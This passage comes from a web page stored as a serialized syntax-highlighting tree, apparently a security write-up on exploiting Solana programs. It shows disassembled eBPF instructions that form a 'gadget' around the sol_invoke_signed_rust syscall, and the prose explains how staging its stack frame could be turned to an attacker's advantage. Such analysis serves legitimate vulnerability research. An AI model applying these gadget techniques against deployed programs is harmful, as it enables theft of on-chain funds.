r2",{"type":23,"tag":141,"props":42609,"children":42610},{"style":154},[42611],{"type":29,"value":42612},", [",{"type":23,"tag":141,"props":42614,"children":42615},{"style":750},[42616],{"type":29,"value":42617},"r10",{"type":23,"tag":141,"props":42619,"children":42620},{"style":160},[42621],{"type":29,"value":3004},{"type":23,"tag":141,"props":42623,"children":42624},{"style":472},[42625],{"type":29,"value":42626},"136",{"type":23,"tag":141,"props":42628,"children":42629},{"style":154},[42630],{"type":29,"value":42631},"] {",{"type":23,"tag":141,"props":42633,"children":42634},{"style":750},[42635],{"type":29,"value":42636},"var_88",{"type":23,"tag":141,"props":42638,"children":42639},{"style":154},[42640],{"type":29,"value":2573},{"type":23,"tag":141,"props":42642,"children":42643},{"class":143,"line":205},[42644,42649,42654,42658,42663,42667,42671,42675,42679,42683,42688],{"type":23,"tag":141,"props":42645,"children":42646},{"style":750},[42647],{"type":29,"value":42648},"100001bb0",{"type":23,"tag":141,"props":42650,"children":42651},{"style":750},[42652],{"type":29,"value":42653}," 79a380ff00000000",{"type":23,"tag":141,"props":42655,"children":42656},{"style":750},[42657],{"type":29,"value":42602},{"type":23,"tag":141,"props":42659,"children":42660},{"style":750},[42661],{"type":29,"value":42662}," r3",{"type":23,"tag":141,"props":42664,"children":42665},{"style":154},[42666],{"type":29,"value":42612},{"type":23,"tag":141,"props":42668,"children":42669},{"style":750},[42670],{"type":29,"value":42617},{"type":23,"tag":141,"props":42672,"children":42673},{"style":160},[42674],{"type":29,"value":3004},{"type":23,"tag":141,"props":42676,"children":42677},{"style":472},[42678],{"type":29,"value":919},{"type":23,"tag":141,"props":42680,"children":42681},{"style":154},[42682],{"type":29,"value":42631},{"type":23,"tag":141,"props":42684,"children":42685},{"style":750},[42686],{"type":29,"value":42687},"var_80",{"type":23,"tag":141,"props":42689,"children":42690},{"style":154},[42691],{"type":29,"value":2573},{"type":23,"tag":141,"props":42693,"children":42694},{"class":143,"line":218},[42695,42700,42705,42709,42714,42718,42722,42726,42731,42735,42740],{"type":23,"tag":141,"props":42696,"children":42697},{"style":750},[42698],{"type":29,"value":42699},"100001bb8",{"type":23,"tag":141,"props":42701,"children":42702},{"style":750},[42703],{"type":29,"value":42704}," 79a468ff00000000",{"type":23,"tag":141,"props":42706,"children":42707},{"style":750},[42708],{"type":29,"value":42602},{"type":23,"tag":141,"props":42710,"children":42711},{"style":750},[42712],{"type":29,"value":42713}," r4",{"type":23,"tag":141,"props":42715,"children":42716},{"style":154},[42717],{"type":29,"value":42612},{"type":23,"tag":141,"props":42719,"children":42720},{"style":750},[42721],{"type":29,"value":42617},{"type":23,"tag":141,"props":42723,"children":42724},{"style":160},[42725],{"type":29,"value":3004},{"type":23,"tag":141,"props":42727,"children":42728},{"style":472},[42729],{"type":29,"value":42730},"152",{"type":23,"tag":141,"props":42732,"children":42733},{"style":154},[42734],{"type":29,"value":42631},{"type":23,"tag":141,"props":42736,"children":42737},{"style":750},[42738],{"type":29,"value":42739},"var_98",{"type":23,"tag":141,"props":42741,"children":42742},{"style":154},[42743],{"type":29,"value":2573},{"type":23,"tag":141,"props":42745,"children":42746},{"class":143,"line":227},[42747,42752,42757,42761,42766,42770,42774,42778,42783,42787,42792],{"type":23,"tag":141,"props":42748,"children":42749},{"style":750},[42750],{"type":29,"value":42751},"100001bc0",{"type":23,"tag":141,"props":42753,"children":42754},{"style":750},[42755],{"type":29,"value":42756}," 79a570ff00000000",{"type":23,"tag":141,"props":42758,"children":42759},{"style":750},[42760],{"type":29,"value":42602},{"type":23,"tag":141,"props":42762,"children":42763},{"style":750},[42764],{"type":29,"value":42765}," r5",{"type":23,"tag":141,"props":42767,"children":42768},{"style":154},[42769],{"type":29,"value":42612},{"type":23,"tag":141,"props":42771,"children":42772},{"style":750},[42773],{"type":29,"value":42617},{"type":23,"tag":141,"props":42775,"children":42776},{"style":160},[42777],{"type":29,"value":3004},{"type":23,"tag":141,"props":42779,"children":42780},{"style":472},[42781],{"type":29,"value":42782},"144",{"type":23,"tag":141,"props":42784,"children":42785},{"style":154},[42786],{"type":29,"value":42631},{"type":23,"tag":141,"props":42788,"children":42789},{"style":750},[42790],{"type":29,"value":42791},"var_90",{"type":23,"tag":141,"props":42793,"children":42794},{"style":154},[42795],{"type":29,"value":2573},{"type":23,"tag":141,"props":42797,"children":42798},{"class":143,"line":241},[42799,42804,42809,42814],{"type":23,"tag":141,"props":42800,"children":42801},{"style":750},[42802],{"type":29,"value":42803},"100001bc8",{"type":23,"tag":141,"props":42805,"children":42806},{"style":472},[42807],{"type":29,"value":42808}," 8520000020100000",{"type":23,"tag":141,"props":42810,"children":42811},{"style":750},[42812],{"type":29,"value":42813}," call",{"type":23,"tag":141,"props":42815,"children":42816},{"style":750},[42817],{"type":29,"value":42818}," sol_invoke_signed_rust\n",{"type":23,"tag":141,"props":42820,"children":42821},{"class":143,"line":262},[42822,42827,42832,42837,42841,42845,42849,42853,42858,42862],{"type":23,"tag":141,"props":42823,"children":42824},{"style":750},[42825],{"type":29,"value":42826},"100001bd0",{"type":23,"tag":141,"props":42828,"children":42829},{"style":472},[42830],{"type":29,"value":42831}," 5500040000000000",{"type":23,"tag":141,"props":42833,"children":42834},{"style":750},[42835],{"type":29,"value":42836}," jne",{"type":23,"tag":141,"props":42838,"children":42839},{"style":154},[42840],{"type":29,"value":7395},{"type":23,"tag":141,"props":42842,"children":42843},{"style":160},[42844],{"type":29,"value":3058},{"type":23,"tag":141,"props":42846,"children":42847},{"style":472},[42848],{"type":29,"value":16205},{"type":23,"tag":141,"props":42850,"children":42851},{"style":154},[42852],{"type":29,"value":4495},{"type":23,"tag":141,"props":42854,"children":42855},{"style":750},[42856],{"type":29,"value":42857},"r0",{"type":23,"tag":141,"props":42859,"children":42860},{"style":154},[42861],{"type":29,"value":480},{"type":23,"tag":141,"props":42863,"children":42864},{"style":472},[42865],{"type":29,"value":42866},"0x0\n",{"type":23,"tag":141,"props":42868,"children":42869},{"class":143,"line":271},[42870],{"type":23,"tag":141,"props":42871,"children":42872},{"emptyLinePlaceholder":15},[42873],{"type":29,"value":719},{"type":23,"tag":141,"props":42875,"children":42876},{"class":143,"line":293},[42877,42882,42887,42892,42897,42901],{"type":23,"tag":141,"props":42878,"children":42879},{"style":750},[42880],{"type":29,"value":42881},"100001bd8",{"type":23,"tag":141,"props":42883,"children":42884},{"style":750},[42885],{"type":29,"value":42886}," b701000018000000",{"type":23,"tag":141,"props":42888,"children":42889},{"style":750},[42890],{"type":29,"value":42891}," mov",{"type":23,"tag":141,"props":42893,"children":42894},{"style":750},[42895],{"type":29,"value":42896}," r1",{"type":23,"tag":141,"props":42898,"children":42899},{"style":154},[42900],{"type":29,"value":480},{"type":23,"tag":141,"props":42902,"children":42903},{"style":472},[42904],{"type":29,"value":42905},"0x18\n",{"type":23,"tag":141,"props":42907,"children":42908},{"class":143,"line":801},[42909,42914,42919,42923,42927,42931,42935,42939,42944,42948,42953],{"type":23,"tag":141,"props":42910,"children":42911},{"style":750},[42912],{"type":29,"value":42913},"100001be0",{"type":23,"tag":141,"props":42915,"children":42916},{"style":750},[42917],{"type":29,"value":42918}," 79a288ff00000000",{"type":23,"tag":141,"props":42920,"children":42921},{"style":750},[42922],{"type":29,"value":42602},{"type":23,"tag":141,"props":42924,"children":42925},{"style":750},[42926],{"type":29,"value":42607},{"type":23,"tag":141,"props":42928,"children":42929},{"style":154},[42930],{"type":29,"value":42612},{"type":23,"tag":141,"props":42932,"children":42933},{"style":750},[42934],{"type":29,"value":42617},{"type":23,"tag":141,"props":42936,"children":42937},{"style":160},[42938],{"type":29,"value":3004},{"type":23,"tag":141,"props":42940,"children":42941},{"style":472},[42942],{"type":29,"value":42943},"120",{"type":23,"tag":141,"props":42945,"children":42946},{"style":154},[42947],{"type":29,"value":42631},{"type":23,"tag":141,"props":42949,"children":42950},{"style":750},[42951],{"type":29,"value":42952},"var_78",{"type":23,"tag":141,"props":42954,"children":42955},{"style":154},[42956],{"type":29,"value":2573},{"type":23,"tag":141,"props":42958,"children":42959},{"class":143,"line":810},[42960,42965,42970,42975,42979,42984,42988,42992,42996,43001,43006,43011],{"type":23,"tag":141,"props":42961,"children":42962},{"style":750},[42963],{"type":29,"value":42964},"100001be8",{"type":23,"tag":141,"props":42966,"children":42967},{"style":472},[42968],{"type":29,"value":42969}," 6312000000000000",{"type":23,"tag":141,"props":42971,"children":42972},{"style":750},[42973],{"type":29,"value":42974}," stxw",{"type":23,"tag":141,"props":42976,"children":42977},{"style":154},[42978],{"type":29,"value":21704},{"type":23,"tag":141,"props":42980,"children":42981},{"style":750},[42982],{"type":29,"value":42983},"r2",{"type":23,"tag":141,"props":42985,"children":42986},{"style":160},[42987],{"type":29,"value":3004},{"type":23,"tag":141,"props":42989,"children":42990},{"style":472},[42991],{"type":29,"value":2698},{"type":23,"tag":141,"props":42993,"children":42994},{"style":154},[42995],{"type":29,"value":21732},{"type":23,"tag":141,"props":42997,"children":42998},{"style":750},[42999],{"type":29,"value":43000},"r1",{"type":23,"tag":141,"props":43002,"children":43003},{"style":154},[43004],{"type":29,"value":43005}," {",{"type":23,"tag":141,"props":43007,"children":43008},{"style":472},[43009],{"type":29,"value":43010},"0x18",{"type":23,"tag":141,"props":43012,"children":43013},{"style":154},[43014],{"type":29,"value":2573},{"type":23,"tag":141,"props":43016,"children":43017},{"class":143,"line":824},[43018,43023,43028,43033,43037,43041,43045],{"type":23,"tag":141,"props":43019,"children":43020},{"style":750},[43021],{"type":29,"value":43022},"100001bf0",{"type":23,"tag":141,"props":43024,"children":43025},{"style":472},[43026],{"type":29,"value":43027}," 0500030000000000",{"type":23,"tag":141,"props":43029,"children":43030},{"style":750},[43031],{"type":29,"value":43032}," ja",{"type":23,"tag":141,"props":43034,"children":43035},{"style":154},[43036],{"type":29,"value":7395},{"type":23,"tag":141,"props":43038,"children":43039},{"style":160},[43040],{"type":29,"value":3058},{"type":23,"tag":141,"props":43042,"children":43043},{"style":472},[43044],{"type":29,"value":15972},{"type":23,"tag":141,"props":43046,"children":43047},{"style":154},[43048],{"type":29,"value":4666},{"type":23,"tag":141,"props":43050,"children":43051},{"class":143,"line":839},[43052],{"type":23,"tag":141,"props":43053,"children":43054},{"emptyLinePlaceholder":15},[43055],{"type":29,"value":719},{"type":23,"tag":141,"props":43057,"children":43058},{"class":143,"line":848},[43059,43064,43069,43073,43077,43081,43085,43089,43093,43097,43101],{"type":23,"tag":141,"props":43060,"children":43061},{"style":750},[43062],{"type":29,"value":43063},"100001bf8",{"type":23,"tag":141,"props":43065,"children":43066},{"style":750},[43067],{"type":29,"value":43068}," 79a188ff00000000",{"type":23,"tag":141,"props":43070,"children":43071},{"style":750},[43072],{"type":29,"value":42602},{"type":23,"tag":141,"props":43074,"children":43075},{"style":750},[43076],{"type":29,"value":42896},{"type":23,"tag":141,"props":43078,"children":43079},{"style":154},[43080],{"type":29,"value":42612},{"type":23,"tag":141,"props":43082,"children":43083},{"style":750},[43084],{"type":29,"value":42617},{"type":23,"tag":141,"props":43086,"children":43087},{"style":160},[43088],{"type":29,"value":3004},{"type":23,"tag":141,"props":43090,"children":43091},{"style":472},[43092],{"type":29,"value":42943},{"type":23,"tag":141,"props":43094,"children":43095},{"style":154},[43096],{"type":29,"value":42631},{"type":23,"tag":141,"props":43098,"children":43099},{"style":750},[43100],{"type":29,"value":42952},{"type":23,"tag":141,"props":43102,"children":43103},{"style":154},[43104],{"type":29,"value":2573},{"type":23,"tag":141,"props":43106,"children":43107},{"class":143,"line":2304},[43108,43113,43118,43122,43126,43130],{"type":23,"tag":141,"props":43109,"children":43110},{"style":750},[43111],{"type":29,"value":43112},"100001c00",{"type":23,"tag":141,"props":43114,"children":43115},{"style":750},[43116],{"type":29,"value":43117}," bf02000000000000",{"type":23,"tag":141,"props":43119,"children":43120},{"style":750},[43121],{"type":29,"value":42891},{"type":23,"tag":141,"props":43123,"children":43124},{"style":750},[43125],{"type":29,"value":42607},{"type":23,"tag":141,"props":43127,"children":43128},{"style":154},[43129],{"type":29,"value":480},{"type":23,"tag":141,"props":43131,"children":43132},{"style":750},[43133],{"type":29,"value":43134},"r0\n",{"type":23,"tag":141,"props":43136,"children":43137},{"class":143,"line":2313},[43138,43143,43148,43152,43157,43161,43166,43170,43174,43179,43183,43187,43192,43197,43201,43205],{"type":23,"tag":141,"props":43139,"children":43140},{"style":750},[43141],{"type":29,"value":43142},"100001c08",{"type":23,"tag":141,"props":43144,"children":43145},{"style":472},[43146],{"type":29,"value":43147}," 8510000075000000",{"type":23,"tag":141,"props":43149,"children":43150},{"style":750},[43151],{"type":29,"value":42813},{"type":23,"tag":141,"props":43153,"children":43154},{"style":725},[43155],{"type":29,"value":43156}," _ZN94_",{"type":23,"tag":141,"props":43158,"children":43159},{"style":160},[43160],{"type":29,"value":8968},{"type":23,"tag":141,"props":43162,"children":43163},{"style":725},[43164],{"type":29,"value":43165},"LT",{"type":23,"tag":141,"props":43167,"children":43168},{"style":160},[43169],{"type":29,"value":8968},{"type":23,"tag":141,"props":43171,"children":43172},{"style":750},[43173],{"type":29,"value":12331},{"type":23,"tag":141,"props":43175,"children":43176},{"style":160},[43177],{"type":29,"value":43178},"...$",{"type":23,"tag":141,"props":43180,"children":43181},{"style":750},[43182],{"type":29,"value":6717},{"type":23,"tag":141,"props":43184,"children":43185},{"style":160},[43186],{"type":29,"value":8968},{"type":23,"tag":141,"props":43188,"children":43189},{"style":725},[43190],{"type":29,"value":43191},"GT",{"type":23,"tag":141,"props":43193,"children":43194},{"style":160},[43195],{"type":29,"value":43196},"$$",{"type":23,"tag":141,"props":43198,"children":43199},{"style":725},[43200],{"type":29,"value":43191},{"type":23,"tag":141,"props":43202,"children":43203},{"style":160},[43204],{"type":29,"value":8968},{"type":23,"tag":141,"props":43206,"children":43207},{"style":154},[43208],{"type":29,"value":43209},"4from17ha0d289b72861b06dE\n",{"type":23,"tag":141,"props":43211,"children":43212},{"class":143,"line":2335},[43213],{"type":23,"tag":141,"props":43214,"children":43215},{"emptyLinePlaceholder":15},[43216],{"type":29,"value":719},{"type":23,"tag":141,"props":43218,"children":43219},{"class":143,"line":2343},[43220,43225,43230,43234,43238,43242,43246,43250,43255,43259,43264],{"type":23,"tag":141,"props":43221,"children":43222},{"style":750},[43223],{"type":29,"value":43224},"100001c10",{"type":23,"tag":141,"props":43226,"children":43227},{"style":750},[43228],{"type":29,"value":43229}," 79a2b8ff00000000",{"type":23,"tag":141,"props":43231,"children":43232},{"style":750},[43233],{"type":29,"value":42602},{"type":23,"tag":141,"props":43235,"children":43236},{"style":750},[43237],{"type":29,"value":42607},{"type":23,"tag":141,"props":43239,"children":43240},{"style":154},[43241],{"type":29,"value":42612},{"type":23,"tag":141,"props":43243,"children":43244},{"style":750},[43245],{"type":29,"value":42617},{"type":23,"tag":141,"props":43247,"children":43248},{"style":160},[43249],{"type":29,"value":3004},{"type":23,"tag":141,"props":43251,"children":43252},{"style":472},[43253],{"type":29,"value":43254},"72",{"type":23,"tag":141,"props":43256,"children":43257},{"style":154},[43258],{"type":29,"value":42631},{"type":23,"tag":141,"props":43260,"children":43261},{"style":750},[43262],{"type":29,"value":43263},"var_48",{"type":23,"tag":141,"props":43265,"children":43266},{"style":154},[43267],{"type":29,"value":2573},{"type":23,"tag":141,"props":43269,"children":43270},{"class":143,"line":2352},[43271,43276,43281,43286,43290,43294,43298,43302,43306,43310],{"type":23,"tag":141,"props":43272,"children":43273},{"style":750},[43274],{"type":29,"value":43275},"100001c18",{"type":23,"tag":141,"props":43277,"children":43278},{"style":472},[43279],{"type":29,"value":43280}," 1502040000000000",{"type":23,"tag":141,"props":43282,"children":43283},{"style":750},[43284],{"type":29,"value":43285}," jeq",{"type":23,"tag":141,"props":43287,"children":43288},{"style":154},[43289],{"type":29,"value":7395},{"type":23,"tag":141,"props":43291,"children":43292},{"style":160},[43293],{"type":29,"value":3058},{"type":23,"tag":141,"props":43295,"children":43296},{"style":472},[43297],{"type":29,"value":16205},{"type":23,"tag":141,"props":43299,"children":43300},{"style":154},[43301],{"type":29,"value":4495},{"type":23,"tag":141,"props":43303,"children":43304},{"style":750},[43305],{"type":29,"value":42983},{"type":23,"tag":141,"props":43307,"children":43308},{"style":154},[43309],{"type":29,"value":480},{"type":23,"tag":141,"props":43311,"children":43312},{"style":472},[43313],{"type":29,"value":42866},{"type":23,"tag":141,"props":43315,"children":43316},{"class":143,"line":2421},[43317],{"type":23,"tag":141,"props":43318,"children":43319},{"emptyLinePlaceholder":15},[43320],{"type":29,"value":719},{"type":23,"tag":141,"props":43322,"children":43323},{"class":143,"line":2429},[43324,43329,43334,43339,43343,43347],{"type":23,"tag":141,"props":43325,"children":43326},{"style":750},[43327],{"type":29,"value":43328},"100001c20",{"type":23,"tag":141,"props":43330,"children":43331},{"style":472},[43332],{"type":29,"value":43333}," 2702000022000000",{"type":23,"tag":141,"props":43335,"children":43336},{"style":750},[43337],{"type":29,"value":43338}," mul",{"type":23,"tag":141,"props":43340,"children":43341},{"style":750},[43342],{"type":29,"value":42607},{"type":23,"tag":141,"props":43344,"children":43345},{"style":154},[43346],{"type":29,"value":480},{"type":23,"tag":141,"props":43348,"children":43349},{"style":472},[43350],{"type":29,"value":43351},"0x22\n",{"type":23,"tag":141,"props":43353,"children":43354},{"class":143,"line":2459},[43355,43360,43365,43369,43373,43377,43381,43385,43390,43394,43399],{"type":23,"tag":141,"props":43356,"children":43357},{"style":750},[43358],{"type":29,"value":43359},"100001c28",{"type":23,"tag":141,"props":43361,"children":43362},{"style":750},[43363],{"type":29,"value":43364}," 79a1b0ff00000000",{"type":23,"tag":141,"props":43366,"children":43367},{"style":750},[43368],{"type":29,"value":42602},{"type":23,"tag":141,"props":43370,"children":43371},{"style":750},[43372],{"type":29,"value":42896},{"type":23,"tag":141,"props":43374,"children":43375},{"style":154},[43376],{"type":29,"value":42612},{"type":23,"tag":141,"props":43378,"children":43379},{"style":750},[43380],{"type":29,"value":42617},{"type":23,"tag":141,"props":43382,"children":43383},{"style":160},[43384],{"type":29,"value":3004},{"type":23,"tag":141,"props":43386,"children":43387},{"style":472},[43388],{"type":29,"value":43389},"80",{"type":23,"tag":141,"props":43391,"children":43392},{"style":154},[43393],{"type":29,"value":42631},{"type":23,"tag":141,"props":43395,"children":43396},{"style":750},[43397],{"type":29,"value":43398},"var_50",{"type":23,"tag":141,"props":43400,"children":43401},{"style":154},[43402],{"type":29,"value":2573},{"type":23,"tag":141,"props":43404,"children":43405},{"class":143,"line":2467},[43406,43411,43416,43420,43424,43428],{"type":23,"tag":141,"props":43407,"children":43408},{"style":750},[43409],{"type":29,"value":43410},"100001c30",{"type":23,"tag":141,"props":43412,"children":43413},{"style":750},[43414],{"type":29,"value":43415}," b703000001000000",{"type":23,"tag":141,"props":43417,"children":43418},{"style":750},[43419],{"type":29,"value":42891},{"type":23,"tag":141,"props":43421,"children":43422},{"style":750},[43423],{"type":29,"value":42662},{"type":23,"tag":141,"props":43425,"children":43426},{"style":154},[43427],{"type":29,"value":480},{"type":23,"tag":141,"props":43429,"children":43430},{"style":472},[43431],{"type":29,"value":43432},"0x1\n",{"type":23,"tag":141,"props":43434,"children":43435},{"class":143,"line":2499},[43436,43441,43446,43450],{"type":23,"tag":141,"props":43437,"children":43438},{"style":750},[43439],{"type":29,"value":43440},"100001c38",{"type":23,"tag":141,"props":43442,"children":43443},{"style":750},[43444],{"type":29,"value":43445}," 8510000003feffff",{"type":23,"tag":141,"props":43447,"children":43448},{"style":750},[43449],{"type":29,"value":42813},{"type":23,"tag":141,"props":43451,"children":43452},{"style":750},[43453],{"type":29,"value":43454}," __rust_dealloc\n",{"type":23,"tag":141,"props":43456,"children":43457},{"class":143,"line":2507},[43458],{"type":23,"tag":141,"props":43459,"children":43460},{"emptyLinePlaceholder":15},[43461],{"type":29,"value":719},{"type":23,"tag":141,"props":43463,"children":43464},{"class":143,"line":2567},[43465,43470,43475,43479,43483,43487,43491,43495,43500,43504,43509],{"type":23,"tag":141,"props":43466,"children":43467},{"style":750},[43468],{"type":29,"value":43469},"100001c40",{"type":23,"tag":141,"props":43471,"children":43472},{"style":750},[43473],{"type":29,"value":43474}," 79a2d0ff00000000",{"type":23,"tag":141,"props":43476,"children":43477},{"style":750},[43478],{"type":29,"value":42602},{"type":23,"tag":141,"props":43480,"children":43481},{"style":750},[43482],{"type":29,"value":42607},{"type":23,"tag":141,"props":43484,"children":43485},{"style":154},[43486],{"type":29,"value":42612},{"type":23,"tag":141,"props":43488,"children":43489},{"style":750},[43490],{"type":29,"value":42617},{"type":23,"tag":141,"props":43492,"children":43493},{"style":160},[43494],{"type":29,"value":3004},{"type":23,"tag":141,"props":43496,"children":43497},{"style":472},[43498],{"type":29,"value":43499},"48",{"type":23,"tag":141,"props":43501,"children":43502},{"style":154},[43503],{"type":29,"value":42631},{"type":23,"tag":141,"props":43505,"children":43506},{"style":750},[43507],{"type":29,"value":43508},"var_30",{"type":23,"tag":141,"props":43510,"children":43511},{"style":154},[43512],{"type":29,"value":2573},{"type":23,"tag":141,"props":43514,"children":43515},{"class":143,"line":7724},[43516,43521,43526,43530,43534,43538,43542,43546,43550,43554],{"type":23,"tag":141,"props":43517,"children":43518},{"style":750},[43519],{"type":29,"value":43520},"100001c48",{"type":23,"tag":141,"props":43522,"children":43523},{"style":472},[43524],{"type":29,"value":43525}," 1502030000000000",{"type":23,"tag":141,"props":43527,"children":43528},{"style":750},[43529],{"type":29,"value":43285},{"type":23,"tag":141,"props":43531,"children":43532},{"style":154},[43533],{"type":29,"value":7395},{"type":23,"tag":141,"props":43535,"children":43536},{"style":160},[43537],{"type":29,"value":3058},{"type":23,"tag":141,"props":43539,"children":43540},{"style":472},[43541],{"type":29,"value":15972},{"type":23,"tag":141,"props":43543,"children":43544},{"style":154},[43545],{"type":29,"value":4495},{"type":23,"tag":141,"props":43547,"children":43548},{"style":750},[43549],{"type":29,"value":42983},{"type":23,"tag":141,"props":43551,"children":43552},{"style":154},[43553],{"type":29,"value":480},{"type":23,"tag":141,"props":43555,"children":43556},{"style":472},[43557],{"type":29,"value":42866},{"type":23,"tag":141,"props":43559,"children":43560},{"class":143,"line":7742},[43561],{"type":23,"tag":141,"props":43562,"children":43563},{"emptyLinePlaceholder":15},[43564],{"type":29,"value":719},{"type":23,"tag":141,"props":43566,"children":43567},{"class":143,"line":7787},[43568,43573,43578,43582,43586,43590,43594,43598,43603,43607,43612],{"type":23,"tag":141,"props":43569,"children":43570},{"style":750},[43571],{"type":29,"value":43572},"100001c50",{"type":23,"tag":141,"props":43574,"children":43575},{"style":750},[43576],{"type":29,"value":43577}," 79a1c8ff00000000",{"type":23,"tag":141,"props":43579,"children":43580},{"style":750},[43581],{"type":29,"value":42602},{"type":23,"tag":141,"props":43583,"children":43584},{"style":750},[43585],{"type":29,"value":42896},{"type":23,"tag":141,"props":43587,"children":43588},{"style":154},[43589],{"type":29,"value":42612},{"type":23,"tag":141,"props":43591,"children":43592},{"style":750},[43593],{"type":29,"value":42617},{"type":23,"tag":141,"props":43595,"children":43596},{"style":160},[43597],{"type":29,"value":3004},{"type":23,"tag":141,"props":43599,"children":43600},{"style":472},[43601],{"type":29,"value":43602},"56",{"type":23,"tag":141,"props":43604,"children":43605},{"style":154},[43606],{"type":29,"value":42631},{"type":23,"tag":141,"props":43608,"children":43609},{"style":750},[43610],{"type":29,"value":43611},"var_38",{"type":23,"tag":141,"props":43613,"children":43614},{"style":154},[43615],{"type":29,"value":2573},{"type":23,"tag":141,"props":43617,"children":43618},{"class":143,"line":7893},[43619,43624,43628,43632,43636,43640],{"type":23,"tag":141,"props":43620,"children":43621},{"style":750},[43622],{"type":29,"value":43623},"100001c58",{"type":23,"tag":141,"props":43625,"children":43626},{"style":750},[43627],{"type":29,"value":43415},{"type":23,"tag":141,"props":43629,"children":43630},{"style":750},[43631],{"type":29,"value":42891},{"type":23,"tag":141,"props":43633,"children":43634},{"style":750},[43635],{"type":29,"value":42662},{"type":23,"tag":141,"props":43637,"children":43638},{"style":154},[43639],{"type":29,"value":480},{"type":23,"tag":141,"props":43641,"children":43642},{"style":472},[43643],{"type":29,"value":43432},{"type":23,"tag":141,"props":43645,"children":43646},{"class":143,"line":22181},[43647,43652,43657,43661],{"type":23,"tag":141,"props":43648,"children":43649},{"style":750},[43650],{"type":29,"value":43651},"100001c60",{"type":23,"tag":141,"props":43653,"children":43654},{"style":750},[43655],{"type":29,"value":43656}," 85100000fefdffff",{"type":23,"tag":141,"props":43658,"children":43659},{"style":750},[43660],{"type":29,"value":42813},{"type":23,"tag":141,"props":43662,"children":43663},{"style":750},[43664],{"type":29,"value":43454},{"type":23,"tag":141,"props":43666,"children":43667},{"class":143,"line":22216},[43668],{"type":23,"tag":141,"props":43669,"children":43670},{"emptyLinePlaceholder":15},[43671],{"type":29,"value":719},{"type":23,"tag":141,"props":43673,"children":43674},{"class":143,"line":22224},[43675,43680,43685,43690,43695,43700],{"type":23,"tag":141,"props":43676,"children":43677},{"style":750},[43678],{"type":29,"value":43679},"100001c68",{"type":23,"tag":141,"props":43681,"children":43682},{"style":472},[43683],{"type":29,"value":43684}," 9500000000000000",{"type":23,"tag":141,"props":43686,"children":43687},{"style":750},[43688],{"type":29,"value":43689}," exit",{"type":23,"tag":141,"props":43691,"children":43692},{"style":154},[43693],{"type":29,"value":43694}," {",{"type":23,"tag":141,"props":43696,"children":43697},{"style":750},[43698],{"type":29,"value":43699},"__return_addr",{"type":23,"tag":141,"props":43701,"children":43702},{"style":154},[43703],{"type":29,"value":2573},{"type":23,"tag":32,"props":43705,"children":43706},{},[43707,43709,43715],{"type":29,"value":43708},"Which, assuming that ",{"type":23,"tag":38,"props":43710,"children":43712},{"className":43711},[],[43713],{"type":29,"value":43714},"sol_invoke_signed_rust",{"type":29,"value":43716}," returns 0, is doing the following:",{"type":23,"tag":116,"props":43718,"children":43719},{},[43720,43729,43738],{"type":23,"tag":120,"props":43721,"children":43722},{},[43723],{"type":23,"tag":38,"props":43724,"children":43726},{"className":43725},[],[43727],{"type":29,"value":43728},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":23,"tag":120,"props":43730,"children":43731},{},[43732],{"type":23,"tag":38,"props":43733,"children":43735},{"className":43734},[],[43736],{"type":29,"value":43737},"*[r10-120] = 0x18",{"type":23,"tag":120,"props":43739,"children":43740},{},[43741,43743,43749,43751,43758],{"type":29,"value":43742},"Calls ",{"type":23,"tag":38,"props":43744,"children":43746},{"className":43745},[],[43747],{"type":29,"value":43748},"__rust_dealloc",{"type":29,"value":43750},", which in default circumstances is a ",{"type":23,"tag":55,"props":43752,"children":43755},{"href":43753,"rel":43754},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[59],[43756],{"type":29,"value":43757},"NOP",{"type":29,"value":322},{"type":23,"tag":32,"props":43760,"children":43761},{},[43762],{"type":29,"value":43763},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":23,"tag":32,"props":43765,"children":43766},{},[43767],{"type":29,"value":43768},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":23,"tag":32,"props":43770,"children":43771},{},[43772,43774,43781],{"type":29,"value":43773},"Looking at the ",{"type":23,"tag":55,"props":43775,"children":43778},{"href":43776,"rel":43777},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[59],[43779],{"type":29,"value":43780},"definition",{"type":29,"value":43782},", it's not crystal clear what the parameters are:",{"type":23,"tag":131,"props":43784,"children":43786},{"className":1639,"code":43785,"language":1638,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[43787],{"type":23,"tag":38,"props":43788,"children":43789},{"__ignoreMap":7},[43790],{"type":23,"tag":141,"props":43791,"children":43792},{"class":143,"line":144},[43793,43797,43802,43806,43811,43815,43819,43823,43827,43831,43836,43840,43844,43848,43852,43856,43861,43865,43869,43873,43878,43882,43886,43890,43894,43898,43903,43907,43911,43915,43919],{"type":23,"tag":141,"props":43794,"children":43795},{"style":449},[43796],{"type":29,"value":18938},{"type":23,"tag":141,"props":43798,"children":43799},{"style":184},[43800],{"type":29,"value":43801}," sol_invoke_signed_rust",{"type":23,"tag":141,"props":43803,"children":43804},{"style":154},[43805],{"type":29,"value":192},{"type":23,"tag":141,"props":43807,"children":43808},{"style":750},[43809],{"type":29,"value":43810},"instruction_addr",{"type":23,"tag":141,"props":43812,"children":43813},{"style":160},[43814],{"type":29,"value":114},{"type":23,"tag":141,"props":43816,"children":43817},{"style":160},[43818],{"type":29,"value":8496},{"type":23,"tag":141,"props":43820,"children":43821},{"style":449},[43822],{"type":29,"value":8334},{"type":23,"tag":141,"props":43824,"children":43825},{"style":725},[43826],{"type":29,"value":13310},{"type":23,"tag":141,"props":43828,"children":43829},{"style":154},[43830],{"type":29,"value":480},{"type":23,"tag":141,"props":43832,"children":43833},{"style":750},[43834],{"type":29,"value":43835},"account_infos_addr",{"type":23,"tag":141,"props":43837,"children":43838},{"style":160},[43839],{"type":29,"value":114},{"type":23,"tag":141,"props":43841,"children":43842},{"style":160},[43843],{"type":29,"value":8496},{"type":23,"tag":141,"props":43845,"children":43846},{"style":449},[43847],{"type":29,"value":8334},{"type":23,"tag":141,"props":43849,"children":43850},{"style":725},[43851],{"type":29,"value":13310},{"type":23,"tag":141,"props":43853,"children":43854},{"style":154},[43855],{"type":29,"value":480},{"type":23,"tag":141,"props":43857,"children":43858},{"style":750},[43859],{"type":29,"value":43860},"account_infos_len",{"type":23,"tag":141,"props":43862,